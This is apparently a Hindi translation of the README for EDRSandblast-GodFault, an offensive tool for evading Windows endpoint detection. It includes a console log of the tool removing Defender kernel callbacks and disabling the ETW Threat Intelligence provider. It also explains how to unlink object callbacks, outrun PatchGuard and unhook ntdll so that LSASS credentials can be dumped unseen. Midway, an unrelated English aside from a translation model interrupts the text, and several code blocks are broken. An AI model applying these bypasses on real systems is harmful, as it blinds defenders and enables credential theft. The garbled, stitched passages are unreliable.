EDRSandblast-GodFault

Gabriel Landau द्वारा Elastic Security में। EDRSandblast का संशोधन - मूल README नीचे देखें।

किसी भी कमजोर ड्राइवर के उपयोग के बिना समान परिणाम प्राप्त करने के लिए GodFault को EDR Sandblast में एकीकृत करता है।

उदाहरण आउटपुट```

C:\Users\user\Desktop\Offsets>EDRSandblast.exe --kernelmode cmd

| | __ | __ \ / | | | | | | | | | | | | | | |) | ( __ _ _ __ | | | | | __ _ | | | | | | | | _ / _ \ / | '_ \ / _ | ' | |/ ` / __| __| | || || | | \ \ ) | (| | | | | (| | |) | | (| _ | | ||_____/|| _|/ _,|| ||_,|_./||_,|__/__|

D3FC0N 30 Edition | Thomas DIOT (@_Qazeer) & Maxime MEIGNAN (@th3m4ks)

[!] If kernel mode bypass is enabled, it is recommended to enable usermode bypass as well (e.g. to unhook the NtLoadDriver API call)

[===== KERNEL MODE =====]

[+] Setting up prerequisites for the kernel read/write primitives... [+] Loading kernel related offsets from the CSV file [*] System's ntoskrnl.exe file version is: ntoskrnl_22621-1702.exe [+] Offsets are available for this version of ntoskrnl.exe (ntoskrnl_22621-1702.exe)! [+] Checking if any EDR kernel notify rountines are set for image loading, process and thread creations... [+] [NotifyRountines] Enumerating process creation callbacks [+] Running command: GodFault.exe -t 2684 [?] Server does not appear to be running. Attempting to install it... [+] CSRSS PID is 748 [+] Testing initial ability to acquire PROCESS_ALL_ACCESS to System: Failure [+] Ready. Spawning WinTcb. [+] SpawnPPL: Waiting for child process to finish. [+] Thread 2684 (KTHREAD FFFF910961E4C080) has been blessed by GodFault [+] [NotifyRountines] fffff8034df25500 [cng.sys + 0x5500] [+] [NotifyRountines] fffff8034e9efdc0 [WdFilter.sys + 0x4fdc0] [+] [NotifyRountines] Found callback belonging to EDR driver WdFilter.sys [+] [NotifyRountines] fffff803487bc460 [ksecdd.sys + 0x1c460] [+] [NotifyRountines] fffff8034eff3fd0 [tcpip.sys + 0x13fd0] [+] [NotifyRountines] fffff8034f5ed980 [iorate.sys + 0xd980] [+] [NotifyRountines] fffff8034dea8890 [CI.dll + 0x88890] [+] [NotifyRountines] fffff803525079f0 [dxgkrnl.sys + 0x179f0] [+] [NotifyRountines] fffff80352be0a70 [vm3dmp.sys + 0x10a70] [+] [NotifyRountines] fffff8036ebccd00 [peauth.sys + 0x3cd00] [+] [NotifyRountines] fffff8036eda1550 [wtd.sys + 0x1550] [+] [NotifyRountines] Found a total of 1 EDR / security products driver(s) [+] [NotifyRountines] Enumerating thread creation callbacks [+] [NotifyRountines] fffff8034e9f15c0 [WdFilter.sys + 0x515c0] [+] [NotifyRountines] Found callback belonging to EDR driver WdFilter.sys [+] [NotifyRountines] fffff8034e9f1350 [WdFilter.sys + 0x51350] [+] [NotifyRountines] Found callback belonging to EDR driver WdFilter.sys [+] [NotifyRountines] fffff8036eb71010 [mmcss.sys + 0x1010] [+] [NotifyRountines] Found a total of 2 EDR / security products driver(s) [+] [NotifyRountines] Enumerating image loading callbacks [+] [NotifyRountines] fffff8034e9f0820 [WdFilter.sys + 0x50820] [+] [NotifyRountines] Found callback belonging to EDR driver WdFilter.sys [+] [NotifyRountines] fffff80352ab5710 [ahcache.sys + 0x25710] [+] [NotifyRountines] Found a total of 1 EDR / security products driver(s)

[+] Checking if EDR callbacks are registered on processes and threads handle creation/duplication... [+] [ObjectCallblacks] Enumerating Process object callbacks : [+] [ObjectCallblacks] Callback at FFFF800C5E2F2940 for handle creations & duplications: [+] [ObjectCallblacks] Status: Enabled [+] [ObjectCallblacks] Preoperation at 0xfffff8034e9eda30 [WdFilter.sys + 0x4da30] [+] [ObjectCallblacks] Callback belongs to an EDR and is enabled! [+] [ObjectCallblacks] Enumerating Thread object callbacks : [+] [ObjectCallblacks] Object callbacks are present !

[+] [ETWTI] Checking the ETW Threat Intelligence Provider state... [+] [ETWTI] ETW Threat Intelligence Provider is ENABLED!

[+] Process is NOT "safe" to launch our payload, removing monitoring and starting another process...

[+] [ETWTI] Disabling the ETW Threat Intel provider by patching ProviderEnableInfo at 0xffff91095ce8c430 with 0x00. [+] [ETWTI] The ETW Threat Intel provider was successfully disabled!

[+] Removing kernel callbacks registered by EDR for process creation, thread creation and image loading... [+] [NotifyRountines] Removing process creation callbacks [+] [NotifyRountines] Removing callback of EDR driver "WdFilter.sys" [callback addr: 0xfffff8034970c2a8 | callback struct: 0xffff91095dbf3a5f | callback function: 0xfffff8034e9efdc0] [+] [NotifyRountines] Removing thread creation callbacks [+] [NotifyRountines] Removing callback of EDR driver "WdFilter.sys" [callback addr: 0xfffff8034970c4a0 | callback struct: 0xffff91095dbf3b1f | callback function: 0xfffff8034e9f15c0] [+] [NotifyRountines] Removing callback of EDR driver "WdFilter.sys" [callback addr: 0xfffff8034970c4a8 | callback struct: 0xffff91095dbf3b4f | callback function: 0xfffff8034e9f1350] [+] [NotifyRountines] Removing image loading callbacks [+] [NotifyRountines] Removing callback of EDR driver "WdFilter.sys" [callback addr: 0xfffff8034970c6a0 | callback struct: 0xffff91095dbf3e4f | callback function: 0xfffff8034e9f0820]

[+] Disabling kernel callbacks registered by EDR for process and thread opening or handle duplication... [+] [ObjectCallblacks] Disabling WdFilter.sys callback...

[+] All EDR drivers were successfully removed from Kernel callbacks!

================================================== Starting a new unmonitored process...

[!] If kernel mode bypass is enabled, it is recommended to enable usermode bypass as well (e.g. to unhook the NtLoadDriver API call)

[===== KERNEL MODE =====]

[+] Checking if EDR callbacks are registered on processes and threads handle creation/duplication... [+] [ObjectCallblacks] Enumerating Process object callbacks : [+] [ObjectCallblacks] Callback at FFFF800C5E2F2940 for handle creations & duplications: [+] [ObjectCallblacks] Status: Disabled [+] [ObjectCallblacks] Preoperation at 0xfffff8034e9eda30 [WdFilter.sys + 0x4da30] [+] [ObjectCallblacks] Callback belongs to an EDR but is disabled. [+] [ObjectCallblacks] Enumerating Thread object callbacks : [+] [ObjectCallblacks] Object callbacks are not found !

[+] [ETWTI] Checking the ETW Threat Intelligence Provider state... [+] [ETWTI] ETW Threat Intelligence Provider is DISABLED!

[+] Process is "safe" to launch our payload

[+] Kernel callbacks have normally been removed, starting cmd.exe WARNING: EDR kernel callbacks will be restored after exiting the cmd prompt (by typing exit) WARNING: While unlikely, the longer the callbacks are removed, the higher the chance of being detected / causing a BSoD upon restore is!

C:\Users\user\Desktop\Offsets>

# EDRSandBlast

`EDRSandBlast` एक उपकरण है जो `C` में लिखा गया है जो कमजोर हस्ताक्षरित ड्राइवर का उपयोग करके EDR डिटेक्शन (Notify Routine कॉलबैक, Object कॉलबैक और `ETW TI` प्रदाता) और `LSASS` सुरक्षाओं को बायपास करता है। यूज़रलैंड अनहुकिंग की कई तकनीकें भी यूज़रलैंड निगरानी से बचने के लिए लागू की गई हैं।

रिलीज़ के अनुसार, EDR की जांच के तहत `LSASS` मेमोरी को डंप करने के लिए यूज़रलैंड (`--usermode`) और कर्नल-लैंड (`--kernelmode`) तकनीकों के संयोजन का उपयोग किया गया, बिना ब्लॉक किए गए या उत्पाद (क्लाउड) कंसोल में "OS Credential Dumping"-संबंधित ईवेंट उत्पन्न किए बिना। परीक्षण 3 अलग-अलग EDR उत्पादों पर किए गए और प्रत्येक मामले में सफल रहे।

## विवरण

### कर्नल नोटिफ़ाई रूटीन हटाने के माध्यम से EDR बायपास

EDR उत्पाद विंडोज़ पर कर्नल "Notify Routines" कॉलबैक का उपयोग करते हैं ताकि कर्नल द्वारा सिस्टम गतिविधि, जैसे प्रक्रिया और थ्रेड निर्माण तथा इमेज (`exe` / `DLL`) लोडिंग, की सूचना दी जा सके।

ये कर्नल कॉलबैक कर्नल-लैंड से परिभाषित किए जाते हैं, आमतौर पर कॉलबैक को लागू करने वाले ड्राइवर से, कई दस्तावेज़ीकृत एपीआई (`nt!PsSetCreateProcessNotifyRoutine`, `nt!PsSetCreateThreadNotifyRoutine`, आदि) का उपयोग करके। ये एपीआई कर्नल-स्पेस में रूटीन की अप्रलेखित सारणियों में ड्राइवर-द्वारा आपूर्ति किए गए कॉलबैक रूटीन जोड़ते हैं:
  - `PspCreateProcessNotifyRoutine` प्रक्रिया निर्माण के लिए
  - `PspCreateThreadNotifyRoutine` थ्रेड निर्माण के लिए
  - `PspLoadImageNotifyRoutine` इमेज लोडिंग के लिए

`EDRSandBlast` उन सारणियों में परिभाषित रूटीन को गणना करता है और EDR ड्राइवरों की पूर्वनिर्धारित सूची (सुरक्षा उत्पादों के 1000 से अधिक ड्राइवर समर्थित, [EDR ड्राइवर डिटेक्शन अनुभाग](#edr-drivers-and-processes-detection) देखें) से जुड़े किसी भी कॉलबैक रूटीन को हटा देता है। गणना और हटाना एक कमजोर ड्राइवर के शोषण द्वारा प्रदत्त एक मनमाना कर्नल मेमोरी रीड/राइट प्रिमिटिव के उपयोग के माध्यम से संभव है (देखें [कमजोर ड्राइवर अनुभाग](#vulnerable-drivers-detection))।

उपर्युक्त सारणियों के ऑफ़सेट कई तकनीकों का उपयोग करके प्राप्त किए जाते हैं, कृपया [ऑफ़सेट अनुभाग](#ntoskrnl-and-wdigest-offsets) देखें।

### ऑब्जेक्ट कॉलबैक हटाने के माध्यम से EDR बायपास
EDR (और यहाँ तक कि EPP) उत्पाद अक्सर `nt!ObRegisterCallbacks` कर्नल एपीआई के उपयोग के माध्यम से "Object callbacks" पंजीकृत करते हैं। ये कॉलबैक सुरक्षा उत्पाद को विशिष्ट ऑब्जेक्ट प्रकारों (प्रक्रियाएँ, थ्रेड और डेस्कटॉप से संबंधित ऑब्जेक्ट कॉलबैक अब विंडोज़ द्वारा समर्थित हैं) पर प्रत्येक हैंडल निर्माण पर सूचित होने की अनुमति देते हैं। हैंडल निर्माण ऑब्जेक्ट खोलने (`OpenProcess`, `OpenThread`, आदि पर कॉल) के साथ-साथ हैंडल डुप्लिकेशन (`DuplicateHandle`, आदि पर कॉल) पर भी हो सकता है।

इनमें से प्रत्येक संचालन पर कर्नल द्वारा सूचित होने पर, एक सुरक्षा उत्पाद हैंडल निर्माण की वैधता का विश्लेषण कर सकता है (जैसे, एक अज्ञात प्रक्रिया LSASS खोलने का प्रयास कर रही है), और यदि कोई खतरा पाया जाता है तो इसे ब्लॉक भी कर सकता है।

`ObRegisterCallbacks` का उपयोग करके प्रत्येक कॉलबैक पंजीकरण पर, एक नया आइटम `_OBJECT_TYPE` ऑब्जेक्ट में मौजूद `CallbackList` डबल-लिंक्ड सूची में जोड़ा जाता है जो कॉलबैक से प्रभावित ऑब्जेक्ट के प्रकार (या तो एक प्रक्रिया, एक थ्रेड या एक डेस्कटॉप) का वर्णन करता है। दुर्भाग्य से, इन आइटम का वर्णन एक ऐसी संरचना द्वारा किया जाता है जो न तो दस्तावेज़ीकृत है और न ही माइक्रोसॉफ्ट द्वारा प्रतीक फ़ाइलों में प्रकाशित है। हालांकि, विभिन्न `ntoskrnl.exe` संस्करणों से इसका अध्ययन यह इंगित करता है कि संरचना कम से कम विंडोज़ 10 बिल्ड 10240 और 22000 (2015 से 2022 तक) के बीच नहीं बदली।

उल्लिखित संरचना, जो एक ऑब्जेक्ट कॉलबैक पंजीकरण का प्रतिनिधित्व करती है, निम्नलिखित है:```C
typedef struct OB_CALLBACK_ENTRY_t {
    LIST_ENTRY CallbackList; // linked element tied to _OBJECT_TYPE.CallbackList
    OB_OPERATION Operations; // bitfield : 1 for Creations, 2 for Duplications
    BOOL Enabled;            // self-explanatory
    OB_CALLBACK* Entry;      // points to the structure in which it is included
    POBJECT_TYPE ObjectType; // points to the object type affected by the callback
    POB_PRE_OPERATION_CALLBACK PreOperation;      // callback function called before each handle operation
    POB_POST_OPERATION_CALLBACK PostOperation;     // callback function called after each handle operation
    KSPIN_LOCK Lock;         // lock object used for synchronization
} OB_CALLBACK_ENTRY;

ऊपर उल्लिखित OB_CALLBACK संरचना भी अप्रलेखित है, और इसे निम्नलिखित द्वारा परिभाषित किया गया है:```C typedef struct OB_CALLBACK_t { USHORT Version; // usually 0x100 USHORT OperationRegistrationCount; // number of registered callbacks PVOID RegistrationContext; // arbitrary data passed at registration time UNICODE_STRING AltitudeString; // used to determine callbacks order struct OB_CALLBACK_ENTRY_t EntryItems[1]; // array of OperationRegistrationCount items WCHAR AltitudeBuffer[1]; // is AltitudeString.MaximumLength bytes long, and pointed by AltitudeString.Buffer } OB_CALLBACK;

EDR-पंजीकृत ऑब्जेक्ट कॉलबैक को अक्षम करने के लिए, `EDRSandblast` में तीन तकनीकें लागू की गई हैं; हालांकि फिलहाल केवल एक ही सक्षम है।

#### `OB_CALLBACK_ENTRY` के `Enabled` फ़ील्ड का उपयोग करना
यह `EDRSandblast` में सक्षम डिफ़ॉल्ट तकनीक है। EDR-संबंधित ऑब्जेक्ट कॉलबैक का पता लगाने और अक्षम करने के लिए, *Process* और *Thread* प्रकारों से जुड़े `_OBJECT_TYPE` ऑब्जेक्ट्स में स्थित `CallbackList` सूची को ब्राउज़ किया जाता है। दोनों `_OBJECT_TYPE` कर्नेल में सार्वजनिक वैश्विक प्रतीकों, `PsProcessType` और `PsThreadType` द्वारा इंगित किए जाते हैं।

सूची के प्रत्येक आइटम को ऊपर वर्णित `OB_CALLBACK_ENTRY` संरचना में फिट होने का अनुमान है (यह धारणा लेखन के समय कम से कम सभी Windows 10 बिल्ड में मान्य प्रतीत होती है)। `PreOperation` और `PostOperation` फ़ील्ड्स में परिभाषित फ़ंक्शन यह जांचने के लिए स्थित होते हैं कि क्या वे किसी EDR ड्राइवर से संबंधित हैं, और यदि हाँ, तो `Enabled` फ़्लैग को टॉगल करके कॉलबैक को बस अक्षम कर दिया जाता है।

हालांकि यह काफी सुरक्षित तकनीक है, लेकिन इसका नुकसान यह है कि यह एक अप्रलेखित संरचना पर निर्भर करती है; इस संरचना के असुरक्षित हेरफेर के जोखिम को कम करने के लिए, यह सत्यापित करने के लिए बुनियादी जांच की जाती है कि कुछ फ़ील्ड्स के अपेक्षित मान हैं:
* `Enabled` या तो `TRUE` या `FALSE` है (*हँसिए मत, `BOOL` एक `int` है, इसलिए यह `1` या `0` के अलावा कुछ भी हो सकता है*);
* `Operations` `OB_OPERATION_HANDLE_CREATE`, `OB_OPERATION_HANDLE_DUPLICATE` या दोनों है;
* `ObjectType` `PsProcessType` या `PsThreadType` पर इंगित करता है।

#### थ्रेड्स और प्रक्रियाओं के `CallbackList` को अनलिंक करना
एक और रणनीति जो किसी अप्रलेखित संरचना पर निर्भर नहीं करती है (और इस प्रकार सैद्धांतिक रूप से NT कर्नेल परिवर्तनों के खिलाफ अधिक मजबूत है) वह प्रक्रियाओं और थ्रेड्स दोनों के लिए पूरे `CallbackList` को अनलिंक करना है। `_OBJECT_TYPE` ऑब्जेक्ट निम्नलिखित है:```C
struct _OBJECT_TYPE {
	LIST_ENTRY TypeList;
	UNICODE_STRING Name;
	[...]
	_OBJECT_TYPE_INITIALIZER TypeInfo;
	[...]
	LIST_ENTRY CallbackList;
}

CallbackList LIST_ENTRY के Flink और Blink पॉइंटर्स को LIST_ENTRY पर ही इंगित करने से सूची प्रभावी रूप से खाली हो जाती है। चूंकि _OBJECT_TYPE संरचना कर्नेल के प्रतीकों में प्रकाशित है, इसलिए तकनीक कठोर-कोडित ऑफ़सेट/संरचनाओं पर निर्भर नहीं करती है। हालाँकि, इसकी कुछ कमियाँ हैं।

पहली कमी यह है कि केवल EDR से कॉलबैक को अक्षम नहीं किया जा सकता; वास्तव में, यह तकनीक उन सभी ऑब्जेक्ट कॉलबैक को प्रभावित करती है जो "वैध" सॉफ़्टवेयर द्वारा पंजीकृत किए गए हों। फिर भी, यह ध्यान दिया जाना चाहिए कि Windows 10 पर (इस लेखन के समय) कोई भी पूर्व-स्थापित घटक ऑब्जेक्ट कॉलबैक का उपयोग नहीं करता है, इसलिए उन्हें अक्षम करने से मशीन की स्थिरता प्रभावित नहीं होनी चाहिए (विशेषकर यदि अक्षमीकरण केवल अस्थायी है)।

दूसरी कमी यह है कि सामान्य OS संचालन में प्रक्रिया या थ्रेड हैंडल संचालन बहुत बार-बार (लगभग निरंतर) होते हैं। इस प्रकार, यदि उपयोग किया गया कर्नेल राइट प्रिमिटिव एक QWORD राइट को "परमाणु" रूप से नहीं कर सकता है, तो इसकी अच्छी संभावना है कि _OBJECT_TYPE.CallbackList.Flink पॉइंटर को कर्नेल द्वारा इसके अधिलेखन के बीच में एक्सेस किया जाएगा। उदाहरण के लिए, MSI असुरक्षित ड्राइवर RTCore64.sys एक बार में केवल DWORD राइट कर सकता है, इसलिए पॉइंटर को अधिलेखित करने के लिए 2 अलग-अलग IOCTL की आवश्यकता होगी, जिनके बीच कर्नेल द्वारा इसका उपयोग करने की उच्च संभावना है (जिसके परिणामस्वरूप क्रैश होता है)। दूसरी ओर, असुरक्षित DELL ड्राइवर DBUtil_2_3.sys एक IOCTL में मनमाने आकार के राइट कर सकता है, इसलिए इसके साथ इस विधि का उपयोग करने से क्रैश होने का जोखिम नहीं है।

ऑब्जेक्ट कॉलबैक को पूरी तरह से अक्षम करना

हमने जो अंतिम तकनीक पाई, वह थी थ्रेड और प्रक्रियाओं के लिए ऑब्जेक्ट कॉलबैक समर्थन को पूरी तरह से अक्षम करना। प्रक्रिया और थ्रेड प्रकारों के अनुरूप _OBJECT_TYPE संरचना के अंदर एक TypeInfo फ़ील्ड है, जो प्रलेखित _OBJECT_TYPE_INITIALIZER संरचना का अनुसरण करती है। बाद वाले में एक ObjectTypeFlags बिट फ़ील्ड होती है, जिसका SupportsObjectCallbacks फ़्लैग निर्धारित करता है कि वर्णित ऑब्जेक्ट प्रकार (प्रक्रिया, थ्रेड, डेस्कटॉप, टोकन, फ़ाइल, आदि) ऑब्जेक्ट कॉलबैक पंजीकरण का समर्थन करता है या नहीं। जैसा कि पहले कहा गया है, इस लेखन के समय Windows स्थापना पर केवल प्रक्रिया, थ्रेड और डेस्कटॉप ऑब्जेक्ट प्रकार इन कॉलबैक का समर्थन करते हैं।

चूंकि SupportsObjectCallbacks बिट को ObpCreateHandle या ObDuplicateObject द्वारा CallbackList को पढ़ने से पहले (और निश्चित रूप से कॉलबैक निष्पादित करने से पहले) जांचा जाता है, कर्नेल रनटाइम पर बिट को फ़्लिप करने से सभी ऑब्जेक्ट कॉलबैक निष्पादन प्रभावी रूप से अक्षम हो जाते हैं।

इस विधि का मुख्य दोष यह है कि KPP ("PatchGuard") कुछ (सभी?) _OBJECT_TYPE संरचनाओं की अखंडता की निगरानी करता है, और पैरामीटर 4 के 0x8 होने पर 0x109 Bug Check को ट्रिगर करता है, जिसका अर्थ है कि एक ऑब्जेक्ट प्रकार संरचना को बदल दिया गया है।

हालाँकि, अक्षम करने / पुनः सक्षम करने (और बीच में "दुर्भावनापूर्ण" कार्रवाई) को पर्याप्त तेज़ी से करने से PatchGuard को "पीछे छोड़ने" के लिए पर्याप्त होना चाहिए (जब तक कि आप बदकिस्मत न हों और गलत समय पर कोई आवधिक जांच न हो)।

ETW Microsoft-Windows-Threat-Intelligence प्रदाता के निष्क्रियकरण के माध्यम से EDR बाईपास

ETW Microsoft-Windows-Threat-Intelligence प्रदाता सामान्यतः दुर्भावनापूर्ण रूप से उपयोग किए जाने वाले कुछ Windows API के उपयोगों के बारे में डेटा लॉग करता है। इसमें nt!MiReadWriteVirtualMemory API शामिल है, जिसे nt!NtReadVirtualMemory द्वारा कॉल किया जाता है (जिसका उपयोग LSASS मेमोरी डंप करने के लिए किया जाता है) और nt!EtwTiLogReadWriteVm फ़ंक्शन द्वारा मॉनिटर किया जाता है।

EDR उत्पाद क्रमशः SERVICE_LAUNCH_PROTECTED_ANTIMALWARE_LIGHT या PS_PROTECTED_ANTIMALWARE_LIGHT के रूप में चलने वाली सेवाओं या प्रक्रियाओं के माध्यम से ETW TI प्रदाता द्वारा उत्पन्न लॉग का उपभोग कर सकते हैं, और एक Early Launch Anti Malware (ELAM) ड्राइवर से जुड़े होते हैं।

जैसा कि slaeryan द्वारा CNO Development Labs ब्लॉग पोस्ट में प्रकाशित किया गया है, ETW TI प्रदाता को कर्नेल मेमोरी में इसकी ProviderEnableInfo विशेषता को 0x0 पर पैच करके पूरी तरह से अक्षम किया जा सकता है। तकनीक के बारे में अधिक जानकारी के लिए उपरोक्त उत्कृष्ट ब्लॉग पोस्ट देखें।

कर्नेल कॉलबैक हटाने के समान, आवश्यक ntoskrnl.exe ऑफ़सेट (nt!EtwThreatIntProvRegHandleOffset, _ETW_REG_ENTRY का GuidEntry, और _ETW_GUID_ENTRY का ProviderEnableInfo) कई Windows कर्नेल संस्करणों के लिए NtoskrnlOffsets.csv फ़ाइल में गणना की जाती हैं।

यूज़रलैंड हुकिंग बाईपास के माध्यम से EDR बाईपास

यूज़रलैंड हुकिंग कैसे काम करता है

प्रक्रियाओं द्वारा किए जाने वाले कार्यों की आसानी से निगरानी करने के लिए, EDR उत्पाद अक्सर यूज़रलैंड हुकिंग नामक एक तंत्र तैनात करते हैं। सबसे पहले, EDR उत्पाद एक कर्नेल कॉलबैक (आमतौर पर इमेज लोडिंग या प्रक्रिया निर्माण कॉलबैक, ऊपर देखें) पंजीकृत करते हैं जो उन्हें प्रत्येक प्रक्रिया शुरू होने पर सूचित होने की अनुमति देता है।

जब Windows द्वारा एक प्रक्रिया लोड की जाती है, और वास्तव में शुरू होने से पहले, EDR प्रक्रिया एड्रेस स्पेस में कुछ कस्टम DLL इंजेक्ट करने में सक्षम होता है, जिसमें इसकी निगरानी तर्क होता है। लोड करते समय, यह DLL EDR द्वारा निगरानी किए जाने वाले प्रत्येक फ़ंक्शन की शुरुआत में "हुक" इंजेक्ट करता है। रनटाइम पर, जब निगरानी में प्रक्रिया द्वारा निगरानी किए गए फ़ंक्शन को कॉल किया जाता है, तो ये हुक नियंत्रण प्रवाह को EDR के DLL में मौजूद कुछ पर्यवेक्षण कोड पर रीडायरेक्ट करते हैं, जो इसे इन कॉल के तर्कों और रिटर्न मानों का निरीक्षण करने की अनुमति देता है।

अधिकांश समय, निगरानी किए जाने वाले फ़ंक्शन सिस्टम कॉल (जैसे NtReadVirtualMemory, NtOpenProcess, आदि.) होते हैं, जिनके कार्यान्वयन ntdll.dll में रहते हैं। Nt* फ़ंक्शन के कॉल को इंटरसेप्ट करने से उत्पाद यूज़रलैंड / कर्नेल-लैंड सीमा के जितना संभव हो उतना करीब हो सकते हैं (जबकि यूज़रलैंड में रहते हुए), लेकिन कुछ उच्च-स्तरीय DLL के फ़ंक्शन भी निगरानी किए जा सकते हैं।

नीचे उसी फ़ंक्शन के उदाहरण दिए गए हैं, EDR उत्पाद द्वारा हुक किए जाने से पहले और बाद में:```assembly NtProtectVirtualMemory proc near mov r10, rcx mov eax, 50h test byte ptr ds:7FFE0308h, 1 jnz short loc_18009D1E5 syscall retn loc_18009D1E5: int 2Eh retn NtProtectVirtualMemory endp


Wait, the message ends with "INPUT:" and then a newline, but no content follows. So the chunk is empty. But the instructions say: "This is chunk 11 of 27 from a longer Markdown document being translated in sequence." Then they say "INPUT:" and then nothing. I think the actual chunk content might be missing. However, the instruction is clear: I must translate the exact text provided. If the provided text is empty, I should output nothing (just an empty response) because there is no natural language to translate. But I must obey the rule: "Return ONLY the translated text." If there is no input, I return nothing. So I'll output an empty string. But careful: if the input is literally empty, I should not add anything. So response is just empty. But the user may expect me to do nothing. However, the chunk might be missing due to a formatting error. But per the given text, there is no content after "INPUT:". So I'll treat that as an empty chunk and output nothing.```assembly
NtProtectVirtualMemory proc near
	jmp     sub_7FFC74490298     ; --> "hook", jump to EDR analysis function
	int 3                        ; overwritten instructions
	int 3                        ; overwritten instructions
	int 3                        ; overwritten instructions
	test byte_7FFE0308, 1        ; <-- execution resumes here after analysis
	jnz short loc_7FFCB44AD1E5
	syscall
	retn
loc_7FFCB44AD1E5:
	int 2Eh
	retn
NtProtectVirtualMemory   endp

हुक का पता लगाना

यूज़रलैंड हुक में "कमज़ोरी" यह है कि वे यूज़रलैंड मेमोरी में स्थित होते हैं, जिसका अर्थ है कि वे सीधे देखने योग्य और संशोधित करने योग्य होते हैं जिस प्रक्रिया की जांच की जा रही है। प्रक्रिया एड्रेस स्पेस में हुक का स्वचालित रूप से पता लगाने के लिए, मुख्य विचार डिस्क पर मूल DLL और मेमोरी में स्थित लाइब्रेरी के बीच अंतर की तुलना करना है, जिसे संभवतः किसी EDR द्वारा बदला गया है। इस तुलना को करने के लिए, EDRSandblast द्वारा निम्नलिखित चरणों का पालन किया जाता है:

सभी लोड की गई DLL की सूची PEB में स्थित InLoadOrderModuleList के माध्यम से गणना की जाती है (किसी भी API को कॉल करने से बचने के लिए जो निगरानी योग्य और संदिग्ध हो सकता है)
प्रत्येक लोड की गई DLL के लिए, डिस्क पर उसकी सामग्री पढ़ी जाती है और उसके हेडर पार्स किए जाते हैं। मेमोरी में स्थित संबंधित लाइब्रेरी को भी सेक्शन, एक्सपोर्ट आदि की पहचान करने के लिए पार्स किया जाता है।
DLL के रिलोकेशन को पार्स किया जाता है और संबंधित लोड की गई लाइब्रेरी के बेस एड्रेस को ध्यान में रखते हुए लागू किया जाता है। इससे मेमोरी में लाइब्रेरी और डिस्क से आने वाली DLL दोनों की सामग्री समान हो जाती है (उन सेक्शन पर जहां रिलोकेशन लागू होते हैं), और इस प्रकार तुलना विश्वसनीय हो जाती है।
एक्सपोर्ट किए गए फंक्शन को गिना जाता है और "इन-मेमोरी" और "ऑन-डिस्क" संस्करणों के पहले बाइट्स की तुलना की जाती है। कोई भी अंतर उस बदलाव को इंगित करता है जो DLL के लोड होने के बाद किया गया है, और इस प्रकार यह संभवतः EDR हुक है।

नोट: इस प्रक्रिया को सामान्यीकृत किया जा सकता है ताकि गैर-लेखनीय सेक्शन में कहीं भी अंतर पाया जा सके, न कि केवल एक्सपोर्ट किए गए फंक्शन की शुरुआत में, उदाहरण के लिए यदि EDR उत्पाद फंक्शन के बीच में हुक लगाने लगें :) इस प्रकार टूल द्वारा उपयोग नहीं किया जाता, यह findDiffsInNonWritableSections में लागू किया गया है।

इन हुक द्वारा की गई निगरानी को बायपास करने के लिए, कई तकनीकें संभव हैं, और प्रत्येक के अपने लाभ और कमियां हैं।

हुक बायपास ... अनहुकिंग का उपयोग करके

हुक-आधारित निगरानी को बायपास करने का सबसे सहज तरीका हुक को हटाना है। चूंकि हुक उस मेमोरी में मौजूद हैं जो प्रक्रिया के लिए ही सुलभ है, एक हुक को हटाने के लिए, प्रक्रिया बस यह कर सकती है:

उस पेज की अनुमतियां बदलें जहां हुक स्थित है (RX -> RWX या RW)
मूल बाइट्स लिखें जो डिस्क DLL सामग्री के लिए ज्ञात हैं
अनुमतियों को वापस RX में बदलें

यह दृष्टिकोण काफी सरल है, और एक बार में सभी पता लगाए गए हुक को हटाने के लिए उपयोग किया जा सकता है। किसी आक्रामक टूल द्वारा इसकी शुरुआत में किया गया, यह शेष कोड को हुकिंग तंत्र से पूरी तरह अनजान रहने देता है और बिना निगरानी के सामान्य रूप से काम करता है।

हालांकि, इसके दो मुख्य नुकसान हैं। EDR संभवतः NtProtectVirtualMemory के उपयोग की निगरानी कर रहा है, इसलिए इसका उपयोग उस पेज की अनुमतियां बदलने के लिए करना जहां हुक स्थापित किए गए हैं, (कम से कम अवधारणात्मक रूप से) एक बुरा विचार है। इसके अलावा, यदि EDR द्वारा एक थ्रेड निष्पादित किया जाता है और समय-समय पर हुक की अखंडता की जांच करता है, तो यह भी कुछ पता लगाने को ट्रिगर कर सकता है।

कार्यान्वयन विवरण के लिए, unhook() फ़ंक्शन के कोड पथ की जाँच करें जब unhook_method UNHOOK_WITH_NTPROTECTVIRTUALMEMORY हो।

महत्वपूर्ण नोट: सरलता के लिए, इस तकनीक को EDRSandblast में आधार तकनीक के रूप में लागू किया गया है जिसका उपयोग अन्य बायपास तकनीकों को प्रदर्शित करने के लिए किया जाता है; उनमें से प्रत्येक दर्शाता है कि NtProtectVirtualMemory का एक अनिगरानी संस्करण कैसे प्राप्त किया जाए, लेकिन उसके बाद समान ऑपरेशन करता है (एक विशिष्ट हुक को अनहुक करना)।

कस्टम ट्रैम्पोलिन का उपयोग करके हुक बायपास

किसी विशिष्ट हुक को बायपास करने के लिए, केवल "उस पर से कूदना" और बाकी फंक्शन को ज्यों का त्यों निष्पादित करना संभव है। पहले, निगरानी किए गए फंक्शन के मूल बाइट्स, जो EDR द्वारा हुक स्थापित करने के लिए अधिलेखित किए गए थे, DLL फ़ाइल से पुनर्प्राप्त किए जाने चाहिए। हमारे पिछले कोड उदाहरण में, यह निम्नलिखित निर्देशों के अनुरूप बाइट्स होंगे:

mov rax, ...
jmp rax
``````assembly
mov r10, rcx
mov eax, 50h

इन बाइट्स की पहचान करना एक सरल कार्य है क्योंकि हम पहले बताए अनुसार, लाइब्रेरी के मेमोरी और डिस्क दोनों संस्करणों का एक साफ diff करने में सक्षम हैं। फिर, हम एक जंप इंस्ट्रक्शन जोड़ते हैं जो नियंत्रण प्रवाह को हुक के तुरंत बाद आने वाले कोड पर रीडायरेक्ट करने के लिए बनाया गया है, जो पते NtProtectVirtualMemory + sizeof(overwritten_instructions) पर है।```assembly jmp NtProtectVirtualMemory+8

अंत में, हम इन ऑपकोडों को जोड़ते हैं, उन्हें (नवनिर्मित) निष्पादन योग्य मेमोरी में संग्रहीत करते हैं और उनका एक पॉइंटर रखते हैं। इस ऑब्जेक्ट को "*ट्रैम्पोलिन*" कहा जाता है और फिर इसे एक फ़ंक्शन पॉइंटर के रूप में उपयोग किया जा सकता है, जो मूल `NtProtectVirtualMemory` फ़ंक्शन के बिल्कुल समतुल्य है।

